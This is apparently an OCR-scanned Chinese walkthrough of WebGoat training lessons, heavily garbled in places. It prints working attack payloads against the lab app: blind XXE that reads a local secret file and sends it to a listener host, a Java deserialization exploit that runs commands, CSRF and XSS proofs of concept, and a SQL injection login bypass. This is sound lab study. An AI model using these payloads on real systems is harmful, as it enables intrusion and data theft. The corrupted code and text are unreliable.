BidizEflhost (XA hosth AT Wi & RS 4%) 48 HinH P KR~ MRFEHEEERER, XK, JHP AEZERneiE, SEE
J 55 88 & 10 % T XA hitpiF R



A 2019-11-07T07:57:35.875974Z | /[Passw ordReset,-‘reset,-‘reset—passwo1d,~'fc2806a7-b9cf—4022- b428-237be9f60b90

{
"timestamp” : "2019-11-07T07:57:35.8759T4Z",
"principal” : null,
"session” : null,
"request” : {
"method" : "GET",
"uri" @ "http://localhost:9090/PasswordReset /reset/reset-password/ fc2806aT-bOcf-4022-b428-23Thedf60bS0",
"headers" : {
"host" : [ "localhost:9030" ],
"connection” : [ "keep-alive" ],
"accept" : [ "application/json, application/*+jsen" ],
"user-agent” : [ "Java/11.0.5" ]

i
"remotefddress” : null
L
"response” : {
"status” : 404,
"headers" : {
"X-Frame-Options" : [ "DENY" ],
"Cache-Control™ : [ "no-cache, no-store, max-age=0, must-revalidate" ],
"¥-Content-Type-Options" : [ "nosniff" ],
"Pragma” : [ "no-cache" ],
"Expires” : [ "0" 1,
"K-XS5-Protection” : [ "1; mode=block™ ]
1
e
"timeTaken" : T

!

R JE AT hoste BRI IEH K], Vil Z

[ T ————— —————"
0] @l localhost:8080.-"'u"¢'e:)Goat.-"Fl‘asswo*dReset.-"'eset.-"'eset-::uasswo'd.-"chSOt’Ja?—:)9cf—4022-:)428—'_ CLUIN ) BT ¢ ¥ IN @ @

Reset your password

Password

Password

Save

BHz, BERZ, MEFILT
Xxe

0x03



Request

Response

Raw | Params | Heackrs | He | ML Baw | Heackrs | Hex
POST /WebGoat/xxe/simple HTTP/L.1 A HITP/1.1 200 OK
Host: localhost:soso r Connecticn: close
User-Agent: Mozillas/S.0 (X11; Ubuntu; Linux x85_64; rv:70.0) X-XS5-Protection: 1; mode=block
Gecko /20100101 Firefox/70.0 X-Content-Type-Options: nosniff
Accept: #/% X-Frame-Optlons: DENY
Accept-Language: en-US,en;g=0.5 Content-Type: application/json
Accept-Encoding: gzip, deflate Date: Sun, 03 Mov 2019 03:45:55 GMT
Content-Type: application/xml
X-Requested-With: XMLHttpRequest {
Content-Length: 111 "lessonCompleted" : true,
origin: http://localhost:8080 "feedback" 'EETIEZfEEEfEEEEE] You have successfully completed the
Connection: close assignment.",
Referer: http://localhost:8080/WebGoat/start.mvc "output" : null
Cookle: JSESSIONID=AGRZdLz- RNDOwvWpMBUZWFC-v]DxvO9R] ows71Gz;
Hm_lvt_f&f37dc3416ca514857b78d0b 158037 =1572405857;
Hn_lpvt_f&6f37dc3416cas514857b78d0b158037e=1572493538;
JSESSIONID. 75fbd0Se=7mc1xS1e16]14x02a3udkbzl; screenResolution=1920x1080
<?xml version="1.0"?=<!DOCTYPE root [<!ENTITY name SYSTEM
"file:///"=]=<comment> <text=&name;</text=</comment=
0x04

N . . SIS 3

& content-type Napplication/xml, 3 & % xmi¥ &
| Request Response
| | Baw | Params | Heackrs | Hex | ML Baw | Heackrs | Hex
POST VWebGoat;xxe;contemt-type HTTR/1.1 A HTTE/1.1 200 OK
Host: Tocathost: 8080 r Connection: close
\User-Agent: Mozilla/5.0 (¥11; Ubuntu; Linux x86 64; rv:70.0) X-XS5-Protection: 1; mode=block

Gecko/20100101 Firefox/70.0

Accept: */*

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/xmL

X-Requested-With: XMLHttpRequest

Content-Length: 111

Origin: http://localhost:g080

Connection: close

Referer: http://localhost:8080/WebGoat/start.mvc

Cookle: JSESSIONID=AGRZdLz - RNDOwVWpMBLzWFC - v DxvOSR] Swe7 Gz ;
Hm lvt f&f37dc3416ca514857b78d0b 158037e=1572405857;
Hn_lpvt_f&f37de3416ca514857h 78d0b158037e=1572493688;
JSESSIONID. 75fhd0%e=7mc1x91e16]14x02a3udkbzl; screenResolution=1920x1080

<?xml version="1.0"?=<!DOCTYPE root [<!ENTITY name SYSTEM
"file:///"=]=<comment> <text=&name;</text=></comment>

0x07

X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Content-Type: application/json

Date: Sun, 03 MNov 2015 03:49:38 GMT
{

"lessonCompletpdt - tru

"feedback" : "[ongratulations.|You have successfully completed the
asslgnment.",

"output" : nul

1R H FE — 1 blind xxe, ZEwebwolf_F & #h #xmIsC {attack.dtd, A 501 F :

<IENTITY % payload

W5 RIEBITERBEON T HIXH

"<IENTITY attack SYSTEM 'http://127.0.0.1:9090/land



POST /WebGoat/xxe/blind HTTP/1.1

Host: localhost:8080

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86 64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: */*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/xml

X-Requested-With: XMLHttpRequest

Content-Length: 268

Origin: http://localhost:8080

Connection: close

Referer: http://localhost:8080/WebGoat/start.mvc

Cookie: JSESSIONID=CxkMsHilg5rChmUYToKLIyUJ3tJ71ryqje_UxbkR; Hm_1lvt_f6f37dc3416ca514857b78d0b158037e=1572405857;

Hm_lpvt_f6f37dc3416ca514857b78d0b158037e=1572493688; JSESSIONID.75fbd@9e=7mc1x9iei6jidxo2a3udkbzl; screenResolu
tion=1920x1080

Pragma: no-cache

Cache-Control: no-cache

<?xml version="1.0"?>

<!DOCTYPE root [

<IENTITY % file SYSTEM "file:///home/axin/.webgoat-@project.version@//XXE/secret.txt">
<IENTITY % test SYSTEM "http://127.0.0.1:9090/files/tntaxin/attack.dtd">

htest;

%payload;

1>

<comment> <text>&attack;</text></comment>

RIETER BARIE [B] 12

Request Response

Baw | Params | Headers | Hex | XL Baw | Heackrs | Hex

POST /WebGoat /xxe/blind HTTP/1.1 A HTTP/L.1 200 OK

Host: localhost:8080 r Connection: close

User-Agent: MozillasS.0 (X11; Ubuntu; Linux x86_64; rv:70.0) X-XSS5-Protection: 1; mode=block
Gecko/20100101 Firefox/70.0 X-Content-Type-Options: nosniff
Accept: */% X-Frame-Options: DENY
Accept-Language: Content-Type: application/json
zh-CN, zh;g=0.8,zh-TW;g=0.7,zh-HK; g=0.5, en- US; q=0.3, en; q=0.2 Date: wed, 06 MNov 2019 ©1:39:23 GMT
Accept-Encoding: gzip, deflate

Content-Type: application/xml {

¥-Requested-With: XMLHttpRequest "lessonCompleted" : false,
Content-Length: 268 "feedback" : "Sorry the solution 1is not correct, please try again.",
Origin: http://localhost:8080 "output" @ null

Connection: close }

Referer: http://localhost:8080/WebGoat/start.mvc

Cookile: JSESSIONID=CxkMsHiLgSrChmUYToKLIyUI3tl7lrygje_UxbkR;
Hm_lvt_f6f37dc3416ca514857b78d0b158037e=1572405857 ;
Hm_Lpvt_fef37dc3416ca514857h78d0b1580372=1572493688;

JSESSIONID. 75fhdoge=7mclxOle16]14x02a2udkbz1; screenResolution=1920x1080
Pragma: no-cache

Cache-Control: no-cache

=7xml version="1,0"7=

<|DOCTYPE root [

<!ENTITY % file SYSTEM
"file:///home/axin/ . webgoat-@project.version@/ /XXE/secret. txt"=

=IENTITY % test SYSTEM "http://127.0.0.1:9090/1iles/tntaxin/attack.dtd" =
%test;

%payload;

1=

=comment= <text>&attack;<ftext>(fcommemtﬂ

ERBAIHIwebwolfiXi, WmtRRdi#H KIWebikss 8 DLW EIER T



V¥ 2019-11-06T01:39:01.669712Z | /WebWolf/fileupload
¥ 2019-11-06T01:39:23.124276Z | [files/tntaxin/attack.dtd

A 2019-11-06T01:39:23.160044Z | [landing

"timestamp” @ "2019-11-06T01:3%:23.160044Z",
"principal” : null,
"session” : null,
"request” : {
"method" : "GET",
"uri" : “http://127.0.0.1:9090/ Landing Hexti Er e vl R ITTSEE RI TV RGEGT
"headers" : {
"host" : [ "127.0.0.1:9090" ],
"connection” : [ "keep-alive" ],
"user-agent" : [ "Java/11.0.5" ],
"accept" : [ "text/html, image/gif, image/jpeg, *; ¢=.2, /", F.2" ]

L
"remotefddress" @ null
L

"response” @ {

"status" : 200,
"headers" : { }
L
"timeTaken" : 1

1

PR SR (I8 73 Bt R serect XSCAF I P Ay, AN BRATTTE ZX A BEAT urlfi@hld, X5 FERACIFIR, A REEEE K.

Insecure Direct Object References

0x02
B Atom-cat & F AT
0x03

AEERBEHRET, BRBEFEN B, X8 Edview profiled& 4] 4 1% &7~ RIRIFR A1 8 % Mitom P15 B 1, 2R J5 8 burp
BEREORIBAERE S E2RHRKER, HREMFE R Qdiview profile G EMEE R, Frbh, REFIRLFWEK
= role,userId B A

0x04

FA Lk — B R @it session B FIEE SRR Bl FH - Hprofilefs B H, X—RiLBAIEHEAEEV W—A2FHF Kprofile
BER:

WebGoat/IDOR/profile/2342384

5 X B FER b — B AR R% AT LAIRTE Muserld (&

0x05
b — R AL BB userldsf T, B2C82342388 AT LAERI A —AMHAREET
Missing Function Level Access Control

0x02



Hidden ltem 1|

Hidden Item 2 |

| Submit |

LComect! And not hard to find are they?!? One of these urls will be helpful in the next lab.

‘a5 PDeMs OaEds NRE (dedess Oue Orr B e F TeEss

TML
=L U LL=
=1i=C
ST E
</div=
w=h3 id="ui-accordion-ac-menu-header-2" class=
accordion-icons" role="tab" aria-controls="ui-accordion-ac-menu-panel-2
<span class="ul-accordion-header-icon ui-icon wi-icon-triangle-l-g"=<
</h3=
w=div id="ui-accordion-ac-menu-panel-2" class=
bottom" style="display: none; height: 110px;" aria-labelledby=
hidden="true"> [ewent
- -
xo1i
fusers"=lsers=/a=

. Cookie Editor @ HackBar @ QuantumH

hidden-menu-item menu-header ui-accordion-header ui-helper-reset ui-stz

aria-selected="false" tabindex="-1"=
span=

event

menu-section hidden-menu-item ui-accordion-content ui-helper-reset ui-w

ui-accordion-ac-menu-header-2" role="tabpanel" aria-e»

feonfig"=C

0x03

WHE L — R B, BAVEH T lusers5/configh®s, HREREE

8 localhost/WebGoat/users ¥& A £ 7] HEE R,

FFEE LN B E 8, FEE AR, & R/usershif #content-type A application/json

Request

: Baw | Params | Headers | Hex

Response

Baw | Headers | Hex

GET /WebGoat/users HTTP/1.1
Host: localhost:8080
User-Agent: Mozillas/5.0 (X11;
Gecko,/20100101 Firefox/70.0
| Accept: #/*
Accept-Language:
zh-CN,zh;g=0.8,zh-TW; q=0.7,zh-HK;g=0.5,en-US; q=0.3,en; g=0.2
! Accept-Encoding: gzip, deflate
X- Requested With: XMLHttpRequest

ontent- Type appllcatlonf]son

OywebGoat/start.mvc
Cookl e: JSESSIONI D BTpZo DTEF7amL=663QT SVVOf Spj-Llotf4azszyo;
Hm_Lvt_f&f37dc3416ca514857b78d0b158037e=1572405857;
Hm_Lpvt_f6f37dc3416ca514857h78d0b158037e=1572493688;
JSESSIONID. 75fbd0Se=7mc1x91e15]14x02a3udkbz1; screenResolution=1920x1080
yPragma: no-cache
Cache-Control: no-cache

Ubuntu; Linux x86_64; rv:70.0)

KB AR X RRAR A

Cross Site Scripting

A HTTR/1.1 200 OK

Connection: close

K- ¥SS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: DENY

Content-Type: application/json
Date: Thu, 07 Nov 2019 07:52:35 GMT

[{
"username" "tntaxin",
"admin" : false,

"userHash" : "FStsCFjxy]6t+]H+DED1RWESL BEKAI 3BarnnVWMI sow="
1




0x07

YR A M dupdate cartht, FTLAEBIRE R TRAM RS, ¥IPHIARSEZBRFEXss, FELRE KU TS HHEpiHag
H, WARMEEEFEN <scriptralert(1);</script> FAELTAEH .

0x10
TR $E 7~ 1T LLANIE WebGoatf# Fibackbone T A 2R T — Fbackbone  HEA S, SHWT:
Backbone Router# /H

KM %0 5t =2 #R & Backbone.Router.extend ()&x # 77 0k, BT AR T F WHE Hjs, KIL—AGoatRouter.js 2 % B L B 1js L,
PEATEREXRE—T, RIWBEEAtestlRMBE, KM

PR g TTewmTREE e ILBD AR P31 D) MR ] ALTEs ] UL WEY SR Cun W IALRLIUE R WML aurun g fTLR § s
[a] LessonController.js backbone-min.js DeveloperControlsView.js GoatRouter.js X backbone.js
37 h
39 var GoatAppRouter = Backbone.Router.extend({
: routes: {
'welcome': 'welcomeRoute',

'lesson/:name': 'lessonRoute’,
\ ) [

nPageRoute’',

'test/:param': 'testRoute’,
'reportCard': 'reportCard’

1.

lessonController: null,
menuController : null,
titleView: null,

setUpCustomlS: functiom () {
54 webgoat.customjs. jguery = %: //passing jguery into custom js scope ... still klunky, but works for now
55 webgoat.customjs. jgueryVuln = $vuln;
/f shim to support xss lesson

58 webgoat.customjs.phoneHome = function (e} {

o R S P S

GG SRR Llbase route ¥ start.mvctitest/
0x11

X—RRH H st 2 H start. mvctest/Bg B $ T phoneHome B #, 5 XA BR BIFES KN R, RANEHBERRENSH
WMHBATIRE L, FTURMITEEEEA <script> BREPATRET, HRLAEMA start.mvc#test/<script> FRIBE T F R
BE®MET, BREGHATE, RITHEUARN N <HT T HIGHEE, HEBRERINR E AR TEbase route /s H EH %
BARZEREFE PR S — S AF4/) , Frilistd 7 T fpayload:
http://localhost:8080/WebGoat/start.mvc#ttest/webgoat.customjs.phoneHome()%3Cscript%3Ewebgoat.customjs.phoneHome
O

BHEHOEFSERT

test handler
phoneHome invoked

phone home said {"lessonCompleted”:true,"feedback":"Congratulations. You have successfully completed the assignment.","output":"phoneHome Response is -933939946"}

»

Insecure Deserialization

0x05


https://www.iteye.com/blog/yujianshenbing-1749831

XR—iERFFINHEE,RFFNREE HEENZ R A SR RE. Z0E, SehEmIhaefin, xNMEdeRE
R /task BB H /opt/WebGoat/webgoat-lessons/insecure-

deserialization/src/main/java/org/owasp/webgoat/deserialization/InsecureDeserializationTask.java

ons insecure-deserialization src main

point {

M _EEE] LLE B )5 i E B AT token B R HEAT T — MR 5 B, XANFERLHuERF BRI —LEKRFS, FFE
KAER, SREHAT T baseb4 iy, MRIDT/E14T T readObject)RFFFILIRIE, &EHNi— FiX M SRR R
VulnerableTaskHolderf)526. Brbl, ATRFFIUCHIX RWEHFE T, FH R VunerableTaskHolderK iy sE 6, B Ak E 4 LI
H BRI EIRSH, BATHEEF — FVunerableTaskHolderZkHISEIL, 3% & 1 BlreadObject /7%



kons B insecure-deserialization sIC main » B java org ) B dummy insecure ; B framework ' @ VulnerableTaskHolder @ StartWebGoat ~ @ G Git:

nLessonl2a.jav: ResetLinkAssignment.java PasswordResetLessonTest.java ResetLinkAssignmentForgotPassword.java secureDeserializationTask.java VulnerableTaskHolder.java

readObject( ObjectInputStream stream )

stream.defaultReadObject()

ystem. .println(
ystem. .println(

&&
.isBefore(LocalDateTime.n minusMinutes(
.isAfter(LocalDateTime.r MM A

.println( .toString())
IllegalArgumentException(

.startsWith( ) .startsWith(
&& .length() < ) {
ystem.out. println(
7

L

BUTTeTedReader im = v
InputStreamReader(p.getInputStream()))
String line =
((line = in.readlLine()) !=
System. .println(line)

https://blog.csdn.net/he_and

Al LLE BiX B H 5 F Runtime.getRuntime().exec() 14T T taskAction, itaskAction & 7£ 14 1& b $ A RE I GX B IE H Sk
T, BWERXEATR LUFFUIXANN R, FHiftaskTactionfI{EE AN sleep 6 inuCZRFir4) B3 F A ping iy 4 SCHLLERT [
MR, BAIFE—Ajava L, #VulnerableTaskHolder2&#E It Z:4y 4 AVulnerableTaskHolder.java, %A J& il & —"Main.java
ARG T

.dummy.insecure.framework;

.io0.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class Main {
static public void main(String[] args){

try{
VulnerableTaskHolder go new VulnerableTaskHolder(
ByteArrayOutputStream bos new ByteArrayOutputStream();
ObjectOutputStream oos new ObjectOutputStream(bos);
00s.writeObject(go);
oos.flush();
byte[] exploit = bos.toByteArray();
String exp = Base64.getEncoder().encodeToString(exploit);
System.out.println(exp);

} catch (Exception e){

package org.dummy.insecure.framework;

import java.io.BufferedReader;
import java.io.IOException;




java.io.InputStreamReader;
java.io.ObjectInputStream;
java.io.Serializable;
java.time.LocalDateTime;

class VulnerableTaskHolder implements Serializable {

private static final long serialVersionUID 2;

private String taskName;
private String taskAction;

private LocalDateTime requestedExecutionTime;

public VulnerableTaskHolder(String taskName, String taskAction) {
super();
this.taskName taskName;
this.taskAction taskAction;

this.requestedExecutionTime LocalDateTime.now();

@Override
public String toString() {
return taskName
kAction
requestedExecutionTime

private void readObject( ObjectInputStream stream ) throws Exception {

stream.defaultReadObject();

System.out.println( taskName) ;
System.out.println( requestedExecutionTime);

if (requestedExecutionTime!=null
(requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))
requestedExecutionTime.isAfter(LocalDateTime.now()))) {

System.out.println(this.toString());
throw new IllegalArgumentException(

if ((taskAction.startsWith( )| [taskAction.startsWith(
taskAction.length() 22) {
System.out.println( taskAction);
try {
Process p = Runtime.getRuntime().exec(taskAction);
BufferedReader in new BufferedReader(
new InputStreamReader(p.getInputStream()));
String line null;
while ((line = in.readLine()) null) {
System.out.println(line);




)1
e.printStackTrace();

REEFEENRAAFTEMWebGoat B A RFF—, BMIRAE I payloadiEi it & fikserialization id AILEE R, —FFHEER
MARBRIXANEET, BLLUAZEserialVersionUDA—HRIREFE, (H2FBEIRG B E ¥serialVersionUD# Z2, A5
BRXFFEWEIEE RS T, EREREBHERHE, RAAEZELLRAR, SREANRBEBWER, HAE%—185E package

org.dummy.insecure.framework; SR J5i&1TMain.java‘t fibase644miL JE I R AL B, 0T, RIS IR2 K B0 B ZE IR thi ~

webgoat_serialize

Main ’ main()

csdn.net/he_and

Vulnerable Components

0x12

X—AndayfIFIH, EHLE2RRK T T A payload @B EH, B4 MNMRFHEEIL: hitp:/x-stream.github.io/CVE-2013-
7285.html

T BLYREIS 45 H T payload,fH 2 B fipayload th# F, 4 /2IR[El Trying to deserialize null object. $5i%, VRIS
payload il F :



>
>foo</
>
>java.lang.Comparable</
class="
class="

>

>/Applications/Calculator.app/Contents/Mac0S/Calculator</
>

>
>start</

Cross-Site Request Forgeries
0x03

W csrf, AT S5 R BERARIE . AL, FFburpE #generate csrf poc, 2R J5 il Test in browserst AT LUl — ksl gy
.

o

[astend g | P e SR oreeee | Do | Comazee | Esanee | Prooctcxticns| emicptices

C[rxJ2 8 Jax5x]6x]8x]9x 10 ]t « 12518 x«]14=[a5]..
[y—— e

. Request . . . ;
| Rea Fequest tor http: /7] ocal host: 5080 (@ | Options
Raw | Parans | Headers | Hex Raw] e | Beers || e

POST /WebGoat/csrf/basic-get-flag HTTR/1.1 POST /WebGoat/csrf/basic-get-flag HTTR/1.1 i
‘Host: localhost:s080 Host: localhost:s080

User-Agent: Mozilla/S.0 (X11; Ubuntu; Linux x86_854; rv:70.0) User-Agent: MozillayS.0 (X11; Ubuntu; Linux x86 64; rv:70.0)
Gecko,/20100101 Firefox/70.0 Gecko/20100101 Firefox/70.0 N

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;sccopt:

Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK; q=0.5, en-US; q=0.3,en; q=0.2

text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8

: X Accept-Language: v

| Accept-Encoding: gzip, deflate . : : .

'Content-Type: application/x-www-form-urlencoded @ < + > | |T¥pe 5 search term 0 matches

Content-Length: 54

origin: http://localhost:sos0 CSFF HTML:

Connection: close E T
<hbody= i

‘Referer: http://localhost:8081/WebGoat/start.mvc cscript=histor ushstate(*', '+, '/4)</script=

Cookie: JSESSIONID=cqoOBXet]gXulsuv]S2dE70hfePcPD StuFgDTIS; <foEm y-p ’ ’ P

Hm_lvt_f&f37dc3416ca514857b78d0b 158037e=1572405857 ;

Hm_lpvt f&f37dc3416ca514857b78d0h158037e=1572493588;

JSESSIONID. 75Thd00e=7mclx91e16]14x02a3udkbzl; screenResolution=122
Upgrade-Insecure-Requests: 1

action="http://localhost:8080/WebGoat/csrf basic-get-flag"
method="POST" >
<input type="hidde®" name="csrf' value="false" /=
<input type="hidden™ name="submit"
value="BEH#143; 6#144; 654164 ; BE#150; B#165; BE#175; &#162;" /=
<input type="submit" valpe="Submit request" /=

csrf=false&submi t="EG%BF:90%E4%BA%ALEE 0 AT ERAFEAZ

</form=|
=/body=
=/html=
v
@ < + > Type a search term \ 0 matches
Fegererate | Test in browser | || Copy HIML | | Close |

(

HARIX — B RAB W] DL B BB i Referer &2 o ARSI ERTT (4458, XEAMERIE)
0x04

#1EF0x03



<« Cc o @ localhost

JSON  [FiaddE &
Fz E¥ 2EHrE £HEF T

lessonCompleted: true
"It appears you have submitted correctly from another site.

Go reload and see if your post is there."

v feedback:

output: T L

0x07

WIEEENRR, REIBERE T, LA T content-type, FTUAREITIEHN BB RIXFER: BT B K i%jsontk K& RE,
BATAT LLE FIXMLHttpRequeste 13, {HRXMLHttpRequestR AL IFEB), BHE KEFHERIT L% KE—POPTIONSIE K
K, HWRERAEER, WREAESEERERAEER, RYEMXMLHttpRequest pocti T :

style="
function submitRequest()
I
L
xhr new XMLHttpRequest();
.open( 5
.setRequestHeader(

.setRequestHeader(

.setRequestHeader(
.withCredentials true;
.send(JSON.stringify({

" onClick="

ERZHEAT R RIEN, AT LAE B0 T 4R



&« c @ 0| ® 127001 f t @4t Y IND a @ ere e 0@ o Bk -

Submit request

3 Ossz Desls DaEws NEE (Jensss O Ons B eE W TE@fs @ HackBar @ Quantum Hackbar @ Cookie Editor @ Max HacKBar 1]
w v Il P& HTML Css Js xHR Tk B& B ws Hfp BEEE @REmEE  TTAs

wE Hik il X RERL =2 i3 K oz fimw (] HE%  Cookie B¥ MR A
OPTIONS fa victim.com do

RFAE: http://victin.con/carrieradnin/admin/priceSheet/priceSheet/savePriceSheet . ¢
SR OPTIONS

xRt 0.6.0.0:80

#&: 302 Moved Temporarily (@

Rk HTTP/1.1
Referrer Bi#&: no-referrer-when-downgrade "B
¥ MR (203 FF) BRIk

Connection: keep-alive
Content-Type: text/html; charset=UTF-8

Date: Thu, 07 Nov 2019 08:40:30 GMT

Keep-Alive: timeout=2
Location: https://www.test.com
Server: nginx/1.16.1
Transfer-Encoding: chunked
X-DIS-Request-ID: bodfffeTf7402237a1f5321599b398¢5
~ERA (552 F) Lz
Accept: *f*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zhiq=0.8,2h-TWW;q=0.7.2h-HK;q=0.5,en-US q=0.3,en;q=0.2
Access-Control-Request-Headers: content-type
Access-Control-Request-Method: POST
Cache-Control: no-cache
Connection: keep-alive
Host: victim.com
Origin: http://127.0.0.1:9090
Pragma: no-cache
Referer: http:/127.0.0.1:3690/Filestntaxinjcsrf_poc.html
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linu...) Gecko/20100101 Firefox/70.0

it LA A 75 Aok, BAITAT BAR I Flashif) 2535 5 307 Bk sk S i http B 5 SCKER 1, 307 BREL At 3XX HTTPAR 2585 2 8] i X 51
BMAET, HTTP 307 AR E R MIERRIEZE, ERFTEMFERFEASKEEMBE. HTTP 30724POST bodyFHTTP
SKREE A BIRATFTE E R HRAURL, H5EMB .

json csrf B#7Z&%: json csrf

ERE LI T ¥R, fElinux ERflex sdkgtF 1A, SERKIZH K csrhBHER EIE RH, EMEABflagh

name enctype action METHOD

NS

document.attack.submit



https://www.shystartree.com/2018/12/08/%25E8%25B0%2588%25E8%25B0%2588json%25E6%25A0%25BC%25E5%25BC%258F%25E4%25B8%258B%25E7%259A%2584csrf%25E6%2594%25BB%25E5%2587%25BB/

<« ¢ o (@ localhost

JSON  [REAIE %
=FF EF £5irE HEF Y

lessonCompleted: true

w» feedback: "Congratulations you have found the correct solution, the flag is: b62cdd4ell-Taaa-4e@7-bf33-1423a30adebb”
output: null

0x08

X— RS EHER, A=k A, BB P 4 Ntntaxin, ARG R EEM —Nesri-intaxin, 4R 5 & Fcsri-tntaxiniy
MIXIEEH, mifisolvediiid 7, JAXEHESZH KRS ERBE—Dosrf BREEE, RETRXA N EERS B 3)EFcesr-
tntaxiniX AN P, X AR EH BT D RARBESAIE T .

Server-Side Request Forgery
0x02

e,

POST /WebGoat/SSRF/taskl HTTP/1.1

Host: localhost:8080

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86 64; rv:70.0) Gecko/20100101 Firefox/70.0

Accept: */*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;g=0.7,zh-HK;gq=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 22

Origin: http://localhost:8080

Connection: close

Referer: http://localhost:8080/WebGoat/start.mvc

Cookie: JSESSIONID=cqoOBXetjgXulLsuvlS2dB70hfePcPD_StuFgDTI5; Hm_1lvt f6f37dc3416ca514857b78d0b158037e=1572405857;
Hm_1lpvt f6f37dc3416ca514857b78d0b158037e=1572493688; JSESSIONID.75fbd@9e=7mc1x9iei6jidxo2a3udkbzl; screenResolu

tion=1920x1080

Pragma: no-cache

Cache-Control: no-cache

url=images%2Fjerry.png

0x03

XERRIERFFEREREENERE, MERT, FT7HEEF MEERBRE L
I urfs S Ahttp:/ifconfig.pro

Bypass front-end restrictions

0x02

burp#l e, FEESEAT

select=optiosnl&radio=optisonl&checkbox=0sn&shortInput=12s345

0x03



burp¥l e, g3 A IE W 47

fieldl=ac&field2=1df23&field3=abc+1ls,df23+ABC&field4=sesdf56ven&field5=0110sd1&field6=9021sdf0-1111&field7=301-
6dfs04-4882&error=0

Client side filtering

0x02

XR-AANTENEH, HEHEEBEARANAPRSESZAPARER, B, XEEEFEARE P KREEEEMERK S
0x03

i i) 3X AN ik 2238 [B] B fcode

| ‘".'“' | o e | e L . el e | e
GEﬂ /WebGoat/clientSideFiltering/challenge—store/coupons/IHTTP/l.l i HTTR/1.1 200 OK
HosT: localhost:B080 i Connection: close
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x85 &4; rv:70.0) %-XSS-Protection: 1; mode=hlock
Gecko/20100101 Firefox/70.0 X-Content-Type-Options: nosniff
Accept: #*/% X-Frame-Options: DENY
Accept-Language: Content-Type: application/json
zh-CN, zh;q=0.8,zh-TW; g=0.7,zh-HK; q=0.5,en-US; q=0.3,en; gq=0.2 Date: Wed, 06 Nov 2019 09:31:27 GMT
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpReguest {
Connection: close "codes" ¢ [ {
Referer: http://localhost:8080/WebGoat /start.mvc "code" : "webgoat",
Cookie: JSESSIONID=cqoOBXetjgXulsuvIS2dB70hTePcPD StuFgDTIS; "discount" : 25
Hm_ 1wt fef37dc3416ca514857b78d0b1580372=1572405857; oA
Hm_lpvt_f6f37dc3416ca514857b78d0b158037e=1572403658; "code" : "owasp",
JSESSIONID. 75Thd0Se=7mc1x91e16]14x02a3udkbzl; screenResolution=1920x1080 "discount" : 25
Pragma: no-cache oA
Cache-Control: no-cache "code" : "owasp-webgoat",

"discount" : S0

oA
"code" : "get_1t_tfor_free",
"discount" : 100
il

i 1

BT, PRENEETRE M T IE
HTML tampering
0x02

e, EALHERD
QTY=6&Total=2999.99

Challenges
Admin lost password

—TFREBILIONRSqREN, {HRMsqimapifl T —# 4R, REmEERM, HERKMUTRALBBEANR, FHEER
]



@RestController
public class Assignmentl extends AssignmentEndpoint {

@PostMapping(
@ResponseBody
public AttackResult completed(@RequestParam String username, @RequestParam String password, HttpServletReque]
st request) {
boolean ipAddressKnown true;
boolean passwordCorrect .equals(username) PASSWORD. equals(password) ;
if (passwordCorrect ipAddressKnown) {
return success().feedback( ) . feedbackArgs(Flag.FLAGS.get(1)).build();
} else if (passwordCorrect) {
return failed().feedback( ).build();

}
return failed().build();

public static boolean containsHeader(HttpServletRequest request) {
return StringUtils.hasText(request.getHeader( ));

MEELERLKIKSHEY, PASSWORDIXAMERZ ! lwebgoat_admin_1234!! , WIEBEXMEBREEH KK TIE. . « HEFH
HAthApk?

Without password

WRIEEH R, BURTRARR, KT THPOBAEFEEN, FHFRATEN, payloadin T

POST /WebGoat/challenge/5 HTTP/1.1

Host: localhost:8080

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0

Accept: */*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;g=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 53

Origin: http://localhost:8080

Connection: close

Referer: http://localhost:8080/WebGoat/start.mvc

Cookie: JSESSIONID=cqoOBXetjgXuLsuvlS2dB70hfePcPD_StuFgDTI5; Hm_1lvt_ f6f37dc3416ca514857b78d0b158037e=1572405857;
Hm_lpvt_ f6f37dc3416ca514857b78d0b158037e=1572493688; JSESSIONID.75fbd@9e=7mc1x9iei6jidxo2a3udkbzl; screenResolu

tion=1920x1080

username_login=Larry&password_login=123' or true -- -

Admin password reset

SeRyi— U BEEIE: Sok M B Cwebwolf R T TEERMKERE, U ERRRINMEEAR e EE H R EG S
#, MERXANRT, BAITUREMAEERPEHA G UERBREERPHEEAHANRIREHR, Kok PrR)EE
RRBRFREMBEET . RNZRINECERETF, XKEShostITREENGH T, Bl T EBRMEEE XN FHH
RARTUIFRNR, HIMRARENFRHRIMISZREK, HER -FHE, KIABUAT. RERRAFET, MBEFRBEE
T

REAFTEHBIXZ —EittENEE (EEDRFREEH, MERIBNFZRE) , W
] localhost:8080/WebGoat/challenge/7/.git Al F#Egits(fF, MBE4EE)E, FHItSEE —TRE
git status




i@gbelief: S git status
ﬂzf'j_i master .
[ﬁfF %LJi%?E nﬂ?
fﬁﬁﬂ "git add/rm <§{11F:-
({8F "git checkout -- r331¢>

log.csdn.net’he_and

Author: Nanne Baars <nanne.baars@owasp
